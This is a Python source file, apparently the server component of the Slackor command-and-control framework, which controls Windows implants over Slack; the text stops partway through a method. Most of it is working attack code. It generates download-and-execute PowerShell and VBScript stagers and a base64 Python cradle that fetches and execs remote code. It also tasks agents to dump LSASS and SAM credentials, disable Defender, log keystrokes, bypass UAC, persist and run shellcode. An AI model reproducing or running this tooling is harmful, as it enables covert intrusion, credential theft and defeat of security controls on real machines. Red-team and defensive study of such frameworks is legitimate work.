github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/server.py (about) 1 import os 2 import re 3 import json 4 import time 5 import base64 6 import random 7 import string 8 import sqlite3 9 import requests 10 import threading 11 from cmd import Cmd 12 from Crypto.Cipher import AES 13 from urllib.parse import urlparse 14 from prettytable import PrettyTable 15 from prettytable import PLAIN_COLUMNS 16 try: 17 from SpookFlare.lib import sfhta, sfvba 18 except ModuleNotFoundError: 19 print("WARNING: SpookFlare not found, clone with \"--recursive\" to be able to generate all stager types.") 20 try: 21 from pypykatz import pypykatz as pypykatzfile 22 pypykatzClass = pypykatzfile.pypykatz 23 except ModuleNotFoundError: 24 print("WARNING: pypykatz not found, clone with \"--recursive\" to be able to extract credentials from .dmp files.") 25 26 27 # Global list of all agents 28 agent_list = [] 29 30 # List to hold all processed jobs 31 processed_ids = [] 32 33 # Connect to database 34 conn = sqlite3.connect('slackor.db') 35 36 # Connect to database and get keys 37 auths = conn.execute("SELECT * FROM KEYS") 38 for row in auths: 39 token = row[1] 40 bearer = row[2] 41 AES_SECRET_KEY = row[3] 42 43 # Connect to database and get channels 44 channels = conn.execute("SELECT * FROM CHANNELS") 45 for row in channels: 46 commands = row[1] 47 responses = row[2] 48 registration = row[3] 49 50 # Populate agents list from database 51 agents = conn.execute("SELECT * FROM AGENTS") 52 for row in agents: 53 agent = row[0] 54 agent_list.append(agent) 55 56 conn.close() 57 58 # Variable to hold all processed jobs 59 processed_ids = [] 60 61 # Crypto Stuff 62 # heavily adapted from https://www.golang123.com/topic/1686 63 IV = "1337133713371337" 64 BS = len(AES_SECRET_KEY) 65 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 66 unpad = lambda s: s[0:-ord(s[-1])] 67 68 69 def color(string, color=None): # Adds colors on Linux 70 """ 71 Change text color for the Linux terminal. 72 """ 73 74 attr = [] 75 # bold 76 attr.append('1') 77 78 if color: 79 if color.lower() == "red": 80 attr.append('31') 81 elif color.lower() == "green": 82 attr.append('32') 83 elif color.lower() == "yellow": 84 attr.append('33') 85 elif color.lower() == "blue": 86 attr.append('34') 87 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) 88 89 90 def bad_opsec(): # This is to validate with the user that they want to accept the risk 91 response = input(color("This module is not OPSEC safe. Do you want to run it? (Y/n): ", "yellow")) 92 if response.upper()[:1] == "Y": 93 return True 94 else: 95 return False 96 97 98 def filter_nonprintable(text): # Strips out non-ascii chars from responses 99 import string 100 # Get the difference of all ASCII characters from the set of printable characters 101 nonprintable = set([chr(i) for i in range(128)]).difference(string.printable) 102 # Use translate to remove all non-printable characters 103 return text.translate({ord(character): None for character in nonprintable}) 104 105 106 def validate_url(url): # Check is a URL is valid 107 regex = re.compile( 108 r'^(?:http|ftp)s?://' # http:// or https:// 109 r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain... 110 r'localhost|' # localhost... 111 r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip 112 r'(?::\d+)?' # optional port 113 r'(?:/?|[/?]\S+)$', re.IGNORECASE) 114 if re.match(regex, url) is not None: 115 return True 116 else: 117 return False 118 119 120 def make_stager(filepath): # Uploads a file to Slack and creates a one-liner to download an execute 121 unique = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4)) 122 files = {'file': open(filepath, 'rb')} 123 data = {"filename": unique + ".txt", "token": token} 124 r = requests.post("https://slack.com/api/files.upload", params=data, files=files) 125 result = json.loads(r.text) 126 file_id = result["file"]["id"] 127 data = {"file": file_id, "token": token} 128 headers = {'content-type': 'application/x-www-form-urlencoded'} 129 r = requests.post("https://slack.com/api/files.sharedPublicURL", params=data, headers=headers) 130 result = json.loads(r.text) 131 permalink_public = result["file"]["permalink_public"] 132 r = requests.get(permalink_public) 133 look_for = 'class="file_header generic_header" href="' 134 splitText = r.text.split(look_for, 1)[1] 135 url = splitText[0:93] 136 print(color("\nOne-liner to download and execute (best)\n", "blue")) 137 PSoneliner = "powershell.exe iwr %s -o C:\\Users\\Public\\%s.png; forfiles.exe /p c:\\windows\\system32 /m svchost.exe" \ 138 " /c C:\\Users\\Public\\%s.png; timeout 2; del C:\\Users\\Public\\%s.png" % (url, unique, unique, unique) 139 print(PSoneliner) 140 with open("output/" + unique + "_ps.txt", "w") as out_file: 141 out_file.write(PSoneliner) 142 print(color("Wrote one-liner at output/" + unique + "_ps.txt", "blue")) 143 print(color("\nOne-liner (no Powershell): \n", "blue")) 144 oneliner = "echo dim http_obj:dim stream_obj:set http_obj = CreateObject(\"Microsoft.XMLHTTP\"):set stream_obj = " \ 145 "CreateObject(\"ADODB.Stream\"):http_obj.open \"GET\", \"%s\", False:http_obj.send:stream_obj.type = 1" \ 146 ":stream_obj.open:stream_obj.write http_obj.responseBody:stream_obj.savetofile \"C:\\Users\\Public\\%s.png\", " \ 147 "2 > bld.vbs && bld.vbs && timeout 3 && del bld.vbs && C:\\Users\\Public\\%s.png" % (url, unique, unique) 148 with open("output/" + unique + "_wscript.txt", "w") as out_file: 149 out_file.write(oneliner) 150 print(oneliner) 151 print(color("Wrote one-liner at output/" + unique + "_wscript.txt\n", "blue")) 152 return PSoneliner, unique 153 154 155 def registration_monitor(bearer, registration, token, timestamp): # Checks for newly registered bots 156 global agent_list 157 headers = {'Authorization': 'Bearer ' + bearer} 158 data = {"channel": registration, 159 "token": token, "oldest": timestamp} 160 r = requests.post('https://slack.com/api/conversations.history', headers=headers, data=data) 161 result = json.loads(r.text) 162 try: 163 if result["error"]: # Hit rate limit 164 print(color("\n!!! Hit Slack API rate limit !!!\n " 165 "Consider killing agents, increasing beacon times, and/or sending less commands.", "yellow")) 166 return 167 except KeyError: # No error condition 168 pass 169 for bots in result["messages"]: # Iterate through each message in the channel 170 bot = bots["text"] 171 bot_info = bot.split(":") 172 client_id = (bot_info[0]) 173 hostname = (bot_info[1]) 174 user = (bot_info[2]) 175 ip = (bot_info[3]) 176 version = (bot_info[4].strip("\n")) 177 # Attempt to add agent info to database 178 if client_id not in agent_list: 179 if client_id.isupper() and len(client_id) == 5: # Check client ID is valid 180 # TODO: Check for SQL injection (fixed maybe?) 181 try: 182 conn = sqlite3.connect('slackor.db') 183 conn.execute("INSERT OR IGNORE INTO AGENTS (ID,HOSTNAME,USER,IP,VERSION) VALUES " 184 "(?,?,?,?,?)", (client_id, hostname, user, ip, version,)) 185 conn.commit() 186 conn.close() 187 agent_list.append(client_id) 188 print(color(" New agent...", "red")) 189 print(color(client_id + " " + hostname + " " + user + " " + ip + " " + version, "blue")) 190 except Exception as e: 191 print("Database error inserting new agent" + str(e)) 192 193 194 def update_agents(): # Function to check for new agents 195 while True: 196 timestamp = str(time.time() - 5)[:-1] 197 time.sleep(10) 198 try: 199 registration_monitor(bearer, registration, token, timestamp) 200 except requests.exceptions.ConnectionError: 201 print("Connection refused") 202 203 204 def send_command(bearer, command, commands, client_id): # Send a command to a client 205 type = "command" 206 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 207 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 208 headers = {'Authorization': 'Bearer ' + bearer} 209 aes_encrypt = AES_ENCRYPT() 210 command = aes_encrypt.encrypt(command) 211 data = {"channel": commands, "text": prefix + command} 212 print(color("Tasking job " + job_id + " to " + client_id + ":", "blue")) 213 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 214 215 216 def check_responses(): # Function to check for new job responses 217 while True: 218 timestamp = str(time.time() - 4)[:-1] 219 time.sleep(5) 220 try: 221 response_check(bearer, responses, token, timestamp) 222 except requests.exceptions.ConnectionError: 223 print("Connection refused ") 224 225 226 def mimikatz(filepath): 227 try: 228 mimi = pypykatzClass.parse_minidump_file(filepath) 229 results = {} 230 results[filepath] = mimi 231 for result in results: 232 print('FILE: ======== %s =======' % result) 233 if isinstance(results[result], str): 234 print(results[result]) 235 else: 236 for luid in results[result].logon_sessions: 237 print(str(results[result].logon_sessions[luid])) 238 239 if len(results[result].orphaned_creds) > 0: 240 print('== Orphaned credentials ==') 241 for cred in results[result].orphaned_creds: 242 print(str(cred)) 243 except: 244 print("Could not parse .dmp file with pypykatz, try using mimikatz.exe on Windows.") 245 246 def wipe_files(): # Retrieves all the files in workspace and then deletes them 247 headers = {'Authorization': 'Bearer ' + bearer} 248 data = {"token": token} 249 r = requests.post('https://slack.com/api/files.list', headers=headers, data=data) 250 result = json.loads(r.text) 251 for file in result["files"]: 252 print(color("Deleting " + file["name"], "blue")) 253 data = {"token": token, "file": file["id"]} 254 r = requests.post('https://slack.com/api/files.delete', headers=headers, data=data) 255 256 257 def response_check(bearer, responses, token, timestamp): 258 aes_encrypt = AES_ENCRYPT() 259 global processed_ids 260 headers = {'Authorization': 'Bearer ' + bearer} 261 data = {"channel": responses, 262 "token": token, "oldest": timestamp, } 263 # This request gets the latest messages from the channel 264 r = requests.post('https://slack.com/api/conversations.history', headers=headers, data=data) 265 # Parse the response 266 try: 267 result = json.loads(r.text) 268 except json.decoder.JSONDecodeError: 269 print(r.text) 270 longJobs = {} 271 # Loop through each message since last check 272 try: 273 if result["error"]: 274 print(color("\nHit Slack API rate limit!!!\n " 275 "Consider killing agents, increasing beacon times, and sending less commands.", "yellow")) 276 return 277 except KeyError: 278 pass 279 for demand in reversed(result["messages"]): 280 text = demand["text"] 281 instructions = text.split(":") 282 type = (instructions[2]) 283 job_id = (instructions[1]) 284 cid = (instructions[0]) 285 if cid.isupper() and len(cid) == 5: # Make sure CID is valid before continuing 286 if job_id not in processed_ids: 287 if type == "download": # If type is download, download the file 288 url = base64.b64decode((instructions[3])).decode('UTF-8') 289 processed_ids.append(job_id) 290 parsed_uri = urlparse(url) 291 domain = '{uri.netloc}'.format(uri=parsed_uri) 292 if domain == "files.slack.com": # Make sure we are only downloading from Slack 293 print(color("\nDownloading Encrypted file at: " + url + "...", "blue")) 294 if url == '': 295 print(color("\nMessage from client " + cid + ":", "blue")) 296 print("File not found. Validate that the file path is correct.") 297 else: 298 if '/' in url: 299 filename = (url.rsplit('/', 1)[1]) 300 else: 301 filename = url 302 # Here we take the Slack URL from the response and download it 303 header = {'Authorization': 'Bearer ' + token} 304 payload = requests.get(url, headers=header) 305 # Todo: Check for path traversal; Slack URLs already cover this but good to double check 306 open("loot/" + filename, 'wb').write(aes_encrypt.decryptFile(payload.content)) 307 print(color("Downloaded " + filename + " from " + cid, "blue")) 308 # Post download options 309 if filename.startswith("security_"): # If it's the last registry hive,run secretsdump.py 310 command = "secretsdump.py LOCAL -sam loot/sam_{} -system loot/sys_{} " \ 311 "-security loot/security_{}".format(cid.lower(), cid.lower(), cid.lower()) 312 if os.path.isdir("impacket"): 313 os.system(command) # Todo: Migrate to call the python functions from impacket 314 else: 315 print("Impacket not found, clone with \"--recursive\" " 316 "to be able to automatically dump hashes") 317 try: 318 if filename.split(".",1)[1] == "dmp": # If minidump, try to run pypykatz on it 319 mimikatz("loot/" + filename) 320 except IndexError: 321 pass 322 323 elif type == "output": # If type is "output" print the result of the command 324 text = aes_encrypt.decrypt(instructions[3]).decode('UTF-8') 325 processed_ids.append(job_id) 326 print( 327 color("\nMessage from client " + cid + " for job " + job_id + ":\n", "blue") + filter_nonprintable( 328 text)) 329 330 # Todo: Fix this to accept multiple cont messages from different agents 331 elif type == "cont": # If type is cont, it is a multi-message response. build up the response string. 332 text = instructions[3] 333 try: 334 if longJobs[job_id]: 335 # The key exists, append the message 336 longJobs[job_id] += text 337 except KeyError: 338 # First message from a longJob, initialize the key 339 longJobs[job_id] = text 340 341 if longJobs != "": # If there are any longJobs, loop through them 342 for key in longJobs: 343 processed_ids.append(key) 344 print(color("\nMessage response for job " + key + ":\n", "blue")) 345 try: 346 text = aes_encrypt.decrypt(longJobs[key]).decode('UTF-8') 347 print(filter_nonprintable(text)) 348 except UnicodeDecodeError: 349 print("Response contains non-unicode characters. Could not print to terminal.") 350 351 352 def kill(bearer, commands, client_id): # Function to send a kill command to an agent 353 type = "kill" 354 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 355 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 356 headers = {'Authorization': 'Bearer ' + bearer} 357 data = {"channel": commands, "text": prefix} 358 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 359 360 361 def upload(bearer, commands, client_id, file_url): # Function to upload a file on the target 362 type = "upload" 363 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 364 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 365 headers = {'Authorization': 'Bearer ' + bearer} 366 aes_encrypt = AES_ENCRYPT() 367 file = aes_encrypt.encrypt(file_url) 368 data = {"channel": commands, "text": prefix + file} 369 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 370 371 def minidump(bearer, commands, client_id): # dumps lsass on target 372 type = "minidump" 373 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 374 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 375 headers = {'Authorization': 'Bearer ' + bearer} 376 aes_encrypt = AES_ENCRYPT() 377 data = {"channel": commands, "text": prefix} 378 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 379 380 381 def upload_file(filepath): # This function uploads a file given a local(server) file-path 382 if '\\' in filepath: 383 filename = (filepath.rsplit('\\', 1)[1]) 384 elif '/' in filepath: 385 filename = (filepath.rsplit('/', 1)[1]) 386 else: 387 filename = filepath 388 try: 389 filepath = filepath.strip('\'').strip('\"') # Strip quotes 390 files = {'file': open(filepath, 'rb')} 391 data = {"filename": filename, "token": token} 392 r = requests.post("https://slack.com/api/files.upload", params=data, files=files) 393 result = json.loads(r.text) 394 # Slack URL of the uploaded file 395 return result["file"]["url_private_download"] 396 except FileNotFoundError: 397 print(color("File not Found", "yellow")) 398 return False 399 except OSError: 400 print(color("File not Found", "yellow")) 401 return False 402 403 404 def sleep(bearer, commands, client_id, sleeptime): # Function to send a sleep command to an agent 405 type = "sleep" 406 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 407 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 408 headers = {'Authorization': 'Bearer ' + bearer} 409 aes_encrypt = AES_ENCRYPT() 410 sleeptime = aes_encrypt.encrypt(sleeptime) 411 data = {"channel": commands, "text": prefix + sleeptime} 412 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 413 414 415 def persist(bearer, commands, client_id, mode): # Function to add persistence 416 type = "persist" 417 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 418 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 419 headers = {'Authorization': 'Bearer ' + bearer} 420 aes_encrypt = AES_ENCRYPT() 421 mode = aes_encrypt.encrypt(mode) 422 data = {"channel": commands, "text": prefix + mode} 423 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 424 425 def cleanup(bearer, commands, client_id, mode): # Function to remove persistence 426 type = "clean" 427 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 428 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 429 headers = {'Authorization': 'Bearer ' + bearer} 430 aes_encrypt = AES_ENCRYPT() 431 mode = aes_encrypt.encrypt(mode) 432 data = {"channel": commands, "text": prefix + mode} 433 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 434 435 436 def bypassuac(bearer, commands, client_id, mode): # Function to bypass UAC 437 type = "elevate" 438 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 439 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 440 headers = {'Authorization': 'Bearer ' + bearer} 441 aes_encrypt = AES_ENCRYPT() 442 mode = aes_encrypt.encrypt(mode) 443 data = {"channel": commands, "text": prefix + mode} 444 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 445 446 447 def screenshot(bearer, commands, client_id): # Function to screenshot 448 type = "screenshot" 449 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 450 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 451 headers = {'Authorization': 'Bearer ' + bearer} 452 data = {"channel": commands, "text": prefix} 453 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 454 455 def samdump(bearer, commands, client_id): # Function to dump SAM and SYSTEM files 456 type = "samdump" 457 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 458 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 459 headers = {'Authorization': 'Bearer ' + bearer} 460 data = {"channel": commands, "text": prefix} 461 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 462 463 def revive(bearer, commands): # Function to have agents re-register in case some became orphaned 464 type = "revive" 465 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 466 prefix = bytes("31337" + ":" + job_id + ":" + type + ":", 'utf-8') 467 headers = {'Authorization': 'Bearer ' + bearer} 468 data = {"channel": commands, "text": prefix} 469 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 470 471 472 def sysinfo(bearer, commands, client_id): # Function gather system info 473 type = "sysinfo" 474 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 475 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 476 headers = {'Authorization': 'Bearer ' + bearer} 477 data = {"channel": commands, "text": prefix} 478 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 479 480 481 def duplicate(bearer, commands, client_id): # spawns another agent 482 type = "duplicate" 483 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 484 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 485 headers = {'Authorization': 'Bearer ' + bearer} 486 data = {"channel": commands, "text": prefix} 487 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 488 489 def clipboard(bearer, commands, client_id): # spawns another agent 490 type = "clipboard" 491 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 492 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 493 headers = {'Authorization': 'Bearer ' + bearer} 494 data = {"channel": commands, "text": prefix} 495 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 496 497 def getsystem(bearer, commands, client_id): # gets SYSTEM privs 498 type = "getsystem" 499 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 500 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 501 headers = {'Authorization': 'Bearer ' + bearer} 502 data = {"channel": commands, "text": prefix} 503 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 504 505 506 def defanger(bearer, commands, client_id, mode): # Function to de-fang Windows Defender 507 type = "defanger" 508 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 509 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 510 headers = {'Authorization': 'Bearer ' + bearer} 511 aes_encrypt = AES_ENCRYPT() 512 mode = aes_encrypt.encrypt(mode) 513 data = {"channel": commands, "text": prefix + mode} 514 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 515 516 def keyscan(bearer, commands, client_id, mode): # Function to manage keylogger 517 type = "keyscan" 518 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 519 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 520 headers = {'Authorization': 'Bearer ' + bearer} 521 aes_encrypt = AES_ENCRYPT() 522 mode = aes_encrypt.encrypt(mode) 523 data = {"channel": commands, "text": prefix + mode} 524 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 525 ''' 526 def metasploit(bearer, commands, client_id, url): # Function execute Meterpreter on target 527 type = "metasploit" 528 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 529 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 530 headers = {'Authorization': 'Bearer ' + bearer} 531 aes_encrypt = AES_ENCRYPT() 532 url = aes_encrypt.encrypt(url) 533 data = {"channel": commands, "text": prefix + url} 534 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 535 ''' 536 def shellcode(bearer, commands, client_id, filepath): # Function execute shellcode on target 537 type = "shellcode" 538 if '\\' in filepath: 539 filename = (filepath.rsplit('\\', 1)[1]) 540 elif '/' in filepath: 541 filename = (filepath.rsplit('/', 1)[1]) 542 else: 543 filename = filepath 544 try: 545 filepath = filepath.strip('\'').strip('\"') # Strip quotes 546 files = {'file': open(filepath, 'rb')} 547 data = {"filename": "shellcode.txt", "token": token} 548 r = requests.post("https://slack.com/api/files.upload", params=data, files=files) 549 result = json.loads(r.text) 550 # Slack URL of the uploaded file 551 url = result["file"]["url_private_download"] 552 except FileNotFoundError: 553 print(color("File not Found", "yellow")) 554 return False 555 except OSError: 556 print(color("File not Found", "yellow")) 557 return False 558 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 559 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 560 headers = {'Authorization': 'Bearer ' + bearer} 561 aes_encrypt = AES_ENCRYPT() 562 print(url) 563 url = aes_encrypt.encrypt(url) 564 data = {"channel": commands, "text": prefix + url} 565 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 566 567 568 def pyinject(bearer, commands, client_id, filepath): # Function execute python in memory 569 type = "command" 570 if '\\' in filepath: 571 filename = (filepath.rsplit('\\', 1)[1]) 572 elif '/' in filepath: 573 filename = (filepath.rsplit('/', 1)[1]) 574 else: 575 filename = filepath 576 try: 577 filepath = filepath.strip('\'').strip('\"') # Strip quotes 578 files = {'file': open(filepath, 'rb')} 579 data = {"filename": "python.txt", "token": token} 580 r = requests.post("https://slack.com/api/files.upload", params=data, files=files) 581 result = json.loads(r.text) 582 # Slack URL of the uploaded file 583 url = result["file"]["url_private_download"] 584 except FileNotFoundError: 585 print(color("File not Found", "yellow")) 586 return False 587 except OSError: 588 print(color("File not Found", "yellow")) 589 return False 590 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 591 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 592 headers = {'Authorization': 'Bearer ' + bearer} 593 aes_encrypt = AES_ENCRYPT() 594 print(url) 595 cradle = "import urllib2;r=urllib2.Request(\"" + url + "\");r.add_header(\"Authorization\", \"Bearer "\ 596 + token + "\");s=urllib2.urlopen(r);exec(s.read())" 597 encoded = base64.b64encode(cradle.encode("utf-8")) 598 cradle = str(encoded, "utf-8") 599 command = "python -c \\\"import base64\;exec\(base64.b64decode\(\\\'" + cradle + "\\\'\)\) \\\" \; echo " 600 command = aes_encrypt.encrypt(command) 601 data = {"channel": commands, "text": prefix + command} 602 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 603 604 605 def beacon(bearer, commands, client_id, beacon): # Function to change beacon time 606 type = "beacon" 607 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 608 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 609 headers = {'Authorization': 'Bearer ' + bearer} 610 aes_encrypt = AES_ENCRYPT() 611 beacon = aes_encrypt.encrypt(beacon) 612 data = {"channel": commands, "text": prefix + beacon} 613 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 614 615 616 def download(bearer, commands, client_id, filepath): # Function to retrieve a file from the agent 617 type = "download" 618 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 619 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 620 headers = {'Authorization': 'Bearer ' + bearer} 621 filepath = filepath.strip('\'').strip('\"') 622 aes_encrypt = AES_ENCRYPT() 623 filepath = aes_encrypt.encrypt(filepath) 624 data = {"channel": commands, "text": prefix + filepath} 625 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 626 627 628 class AES_ENCRYPT(object): # heavily adapted from https://www.golang123.com/topic/1686 629 def __init__(self): 630 self.key = AES_SECRET_KEY 631 self.mode = AES.MODE_CBC 632 633 def encrypt(self, text): 634 cryptor = AES.new(self.key, self.mode, IV) 635 self.ciphertext = cryptor.encrypt(pad(text)) 636 return base64.b64encode(self.ciphertext) 637 638 def decrypt(self, text): 639 decode = base64.b64decode(text) 640 cryptor = AES.new(self.key, self.mode, IV) 641 plain_text = cryptor.decrypt(decode) 642 return plain_text 643 644 def decryptFile(self, text): 645 cryptor = AES.new(self.key, self.mode, IV) 646 plain_text = cryptor.decrypt(text) 647 return plain_text 648 649 650 class AgentCmd(Cmd): # Class for all the modules when interacting with an agent 651 652 def emptyline(self): 653 pass 654 655 def do_sleep(self, args): 656 """SLEEP - Causes the agent to sleep once. Time must be in seconds. 657 Example: sleep 5""" 658 try: 659 # Test if value is an integer, bail if not 660 sleep_test = int(args) 661 sleep(bearer, commands, self.target, args) 662 print(color("Tasking " + self.target + " to sleep for " + args + " seconds...", "blue")) 663 except ValueError: 664 print(color("Sleep value must be an integer. (Number of seconds)", "yellow")) 665 666 def do_persist(self, args): 667 """PERSIST - Establishes persistence on the target 668 Example: persist registry""" 669 if (args == "scheduler") or (args == "registry"): 670 print(color("RISK: Writes to disk, executes cmd.exe", "yellow")) 671 if bad_opsec(): 672 persist(bearer, commands, self.target, args) 673 print(color("Establishing persistence on " + self.target, "blue")) 674 elif args == "wmi": 675 conn = sqlite3.connect('slackor.db') 676 cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 677 user = cursor.fetchone() 678 if user[0].endswith('*'): 679 print(color("RISK: Writes to disk, executes cmd.exe", "yellow")) 680 if bad_opsec(): 681 persist(bearer, commands, self.target, args) 682 print(color("Establishing persistence on " + self.target, "blue")) 683 else: 684 print(color("Please supply an additional argument [scheduler|registry|wmi]", "blue")) 685 686 def do_cleanup(self, args): 687 """CLEANUP - Removes artifacts on disk 688 Example: cleanup registry""" 689 if (args == "scheduler") or (args == "registry"): 690 print(color("RISK: Executes cmd.exe", "yellow")) 691 if bad_opsec(): 692 cleanup(bearer, commands, self.target, args) 693 print(color("Removing persistence on " + self.target, "blue")) 694 else: 695 print(color("You need to specify a persistence method" "Yellow")) 696 elif (args == "realtime") or (args == "exclusion") or (args == "signature"): 697 print(color("RISK: Executes powershell.exe", "yellow")) 698 if bad_opsec(): 699 cleanup(bearer, commands, self.target, args) 700 print(color("Restoring AV on " + self.target, "blue")) 701 702 elif args == "wmi": 703 print(color("RISK: Executes powershell.exe", "yellow")) 704 if bad_opsec(): 705 cleanup(bearer, commands, self.target, args) 706 print(color("Removing persistence on " + self.target, "blue")) 707 else: 708 print(color("Please supply an additional argument " 709 "[scheduler|registry|realtime|exclusion|signature]", "blue")) 710 711 def complete_persist(self, text, line, start_index, end_index): 712 modes = ["registry", "scheduler", "wmi"] 713 if text: 714 return [ 715 mode for mode in modes 716 if mode.startswith(text.lower()) 717 ] 718 else: 719 return modes 720 721 def complete_cleanup(self, text, line, start_index, end_index): 722 modes = ["registry", "scheduler", "exclusion", "realtime", "signature", "wmi"] 723 if text: 724 return [ 725 mode for mode in modes 726 if mode.startswith(text.lower()) 727 ] 728 else: 729 return modes 730 731 def complete_keyscan(self, text, line, start_index, end_index): 732 modes = ["stop", "start", "dump"] 733 if text: 734 return [ 735 mode for mode in modes 736 if mode.startswith(text.lower()) 737 ] 738 else: 739 return modes 740 741 def complete_defanger(self, text, line, start_index, end_index): 742 modes = ["realtime", "exclusion", "signature"] 743 if text: 744 return [ 745 mode for mode in modes 746 if mode.startswith(text.lower()) 747 ] 748 else: 749 return modes 750 751 def complete_bypassuac(self, text, line, start_index, end_index): 752 modes = ["fodhelper", "ask"] 753 if text: 754 return [ 755 mode for mode in modes 756 if mode.startswith(text.lower()) 757 ] 758 else: 759 return modes 760 761 def do_bypassuac(self, args): 762 """BYPASSUAC - Attempts to spawn a new agent with high integrity.""" 763 if args == "fodhelper": 764 print(color("RISK: Writes to disk, executes cmd.exe", "yellow")) 765 if bad_opsec(): 766 bypassuac(bearer, commands, self.target, args) 767 print(color("Elevating " + self.target, "blue")) 768 769 elif args == "ask": 770 print(color("RISK: Writes to disk and pops up a UAC alert!", "yellow")) 771 if bad_opsec(): 772 bypassuac(bearer, commands, self.target, args) 773 print(color("Requesting elevation from user on " + self.target, "blue")) 774 else: 775 print(color("Please supply an additional argument [fodhelper|ask]", "blue")) 776 777 def do_screenshot(self, args): 778 """SCREENSHOT - Screenshots the current desktop and downloads files""" 779 print(color("RISK: Writes to disk", "yellow")) 780 if bad_opsec(): 781 screenshot(bearer, commands, self.target) 782 print(color("screenshotting " + self.target, "blue")) 783 784 def do_samdump(self, args): 785 """SAMDUMP - Attempts to dump the SAM, SYSTEM and SECURITY files for offline hash extraction""" 786 conn = sqlite3.connect('slackor.db') 787 cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 788 user = cursor.fetchone() 789 if user[0].endswith('*'): 790 print(color("RISK: Writes to disk", "yellow")) 791 if bad_opsec(): 792 samdump(bearer, commands, self.target) 793 print(color("Getting SYSTEM, SAM and SECURITY files for " + self.target + "....", "blue")) 794 else: 795 print(color("Agent not running as high integrity", "yellow")) 796 797 def do_sysinfo(self, args): 798 """SYSINFO - Displays the current user, OS version, system architecture, and number of CPU cores""" 799 